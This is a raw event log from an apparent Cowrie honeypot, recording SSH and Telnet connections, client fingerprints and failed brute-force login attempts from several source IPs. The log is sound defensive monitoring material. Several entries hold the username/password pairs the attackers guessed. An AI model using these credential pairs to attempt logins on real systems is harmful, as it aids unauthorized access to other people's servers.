{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":21788,"dst_ip":"10.17.0.5","dst_port":22,"session":"abf74417462f","protocol":"ssh","message":"New connection: 94.26.106.201:21788 (10.17.0.5:22) [session: abf74417462f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:00.996329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:01.001936Z","src_ip":"94.26.106.201","session":"abf74417462f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:01.085934Z","src_ip":"94.26.106.201","session":"abf74417462f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aDm8H%MdA","message":"login attempt [root/aDm8H%MdA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:01.257766Z","src_ip":"94.26.106.201","session":"abf74417462f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:02.346751Z","src_ip":"94.26.106.201","session":"abf74417462f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":57394,"dst_ip":"159.203.135.109","dst_port":22,"session":"705d5f473eec","protocol":"ssh","message":"New connection: 43.156.227.3:57394 (159.203.135.109:22) [session: 705d5f473eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:04.171227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:04.175753Z","src_ip":"43.156.227.3","session":"705d5f473eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:04.412253Z","src_ip":"43.156.227.3","session":"705d5f473eec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terry","message":"login attempt [root/terry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:05.390000Z","src_ip":"43.156.227.3","session":"705d5f473eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:06.629873Z","src_ip":"43.156.227.3","session":"705d5f473eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42996,"dst_ip":"159.203.135.109","dst_port":22,"session":"b01823e70fb7","protocol":"ssh","message":"New connection: 31.40.204.166:42996 (159.203.135.109:22) [session: b01823e70fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:07.413519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:07.418934Z","src_ip":"31.40.204.166","session":"b01823e70fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:07.597788Z","src_ip":"31.40.204.166","session":"b01823e70fb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:08.218510Z","src_ip":"31.40.204.166","session":"b01823e70fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:09.419865Z","src_ip":"31.40.204.166","session":"b01823e70fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.436174631118774,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:13.677716Z","src_ip":"152.42.224.71","session":"2b6109b3038b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.24168586730957,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:16.813912Z","src_ip":"152.42.224.71","session":"4144fa43adfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33062,"dst_ip":"159.203.135.109","dst_port":22,"session":"5110817ecc87","protocol":"ssh","message":"New connection: 31.40.204.166:33062 (159.203.135.109:22) [session: 5110817ecc87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:19.584481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:19.597257Z","src_ip":"31.40.204.166","session":"5110817ecc87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:19.710612Z","src_ip":"31.40.204.166","session":"5110817ecc87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":94.43500351905823,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:19.805397Z","src_ip":"152.42.224.71","session":"400dbfc51f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":21774,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d38e21d87ba","protocol":"ssh","message":"New connection: 182.217.16.126:21774 (159.203.135.109:22) [session: 2d38e21d87ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:20.262988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:20.276204Z","src_ip":"182.217.16.126","session":"2d38e21d87ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:20.484020Z","src_ip":"182.217.16.126","session":"2d38e21d87ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:20.613346Z","src_ip":"31.40.204.166","session":"5110817ecc87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jer123","message":"login attempt [root/jer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:21.319634Z","src_ip":"182.217.16.126","session":"2d38e21d87ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:21.811972Z","src_ip":"31.40.204.166","session":"5110817ecc87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:22.534425Z","src_ip":"182.217.16.126","session":"2d38e21d87ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.387542486190796,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:26.053596Z","src_ip":"152.42.224.71","session":"eb9708071380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54712,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8c2f899d89a","protocol":"telnet","message":"New connection: 152.42.224.71:54712 (10.17.0.5:23) [session: c8c2f899d89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:29.855402Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54718,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c097a814351","protocol":"telnet","message":"New connection: 152.42.224.71:54718 (10.17.0.5:23) [session: 3c097a814351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:31.647431Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44826,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0dc8d1ad019","protocol":"ssh","message":"New connection: 31.40.204.166:44826 (159.203.135.109:22) [session: d0dc8d1ad019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:32.209272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:32.213669Z","src_ip":"31.40.204.166","session":"d0dc8d1ad019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:32.386139Z","src_ip":"31.40.204.166","session":"d0dc8d1ad019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:32.812180Z","src_ip":"31.40.204.166","session":"d0dc8d1ad019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:33.987456Z","src_ip":"31.40.204.166","session":"d0dc8d1ad019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.80552554130554,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:34.856333Z","src_ip":"152.42.224.71","session":"89e802214d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48958,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6e539363eee","protocol":"telnet","message":"New connection: 152.42.224.71:48958 (10.17.0.5:23) [session: a6e539363eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:41.987406Z"}
{"eventid":"cowrie.session.closed","duration":113.89267945289612,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:42.006403Z","src_ip":"152.42.224.71","session":"f3af5f0b9973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57630,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a152f0e1eaa","protocol":"ssh","message":"New connection: 31.40.204.166:57630 (159.203.135.109:22) [session: 8a152f0e1eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:44.084328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:44.121302Z","src_ip":"31.40.204.166","session":"8a152f0e1eaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:44.286861Z","src_ip":"31.40.204.166","session":"8a152f0e1eaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48966,"dst_ip":"10.17.0.5","dst_port":23,"session":"10c1e60432dd","protocol":"telnet","message":"New connection: 152.42.224.71:48966 (10.17.0.5:23) [session: 10c1e60432dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:44.586365Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:44.819721Z","src_ip":"31.40.204.166","session":"8a152f0e1eaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48980,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc646a10cab2","protocol":"telnet","message":"New connection: 152.42.224.71:48980 (10.17.0.5:23) [session: bc646a10cab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:45.551665Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:45.998546Z","src_ip":"31.40.204.166","session":"8a152f0e1eaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57890,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3843f798acb","protocol":"telnet","message":"New connection: 152.42.224.71:57890 (10.17.0.5:23) [session: b3843f798acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:48.427422Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57902,"dst_ip":"10.17.0.5","dst_port":23,"session":"3747ec9d4ce5","protocol":"telnet","message":"New connection: 152.42.224.71:57902 (10.17.0.5:23) [session: 3747ec9d4ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:48.716744Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":54176,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d8bb9e669c","protocol":"ssh","message":"New connection: 103.27.238.114:54176 (10.17.0.5:22) [session: e1d8bb9e669c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:49.863688Z"}
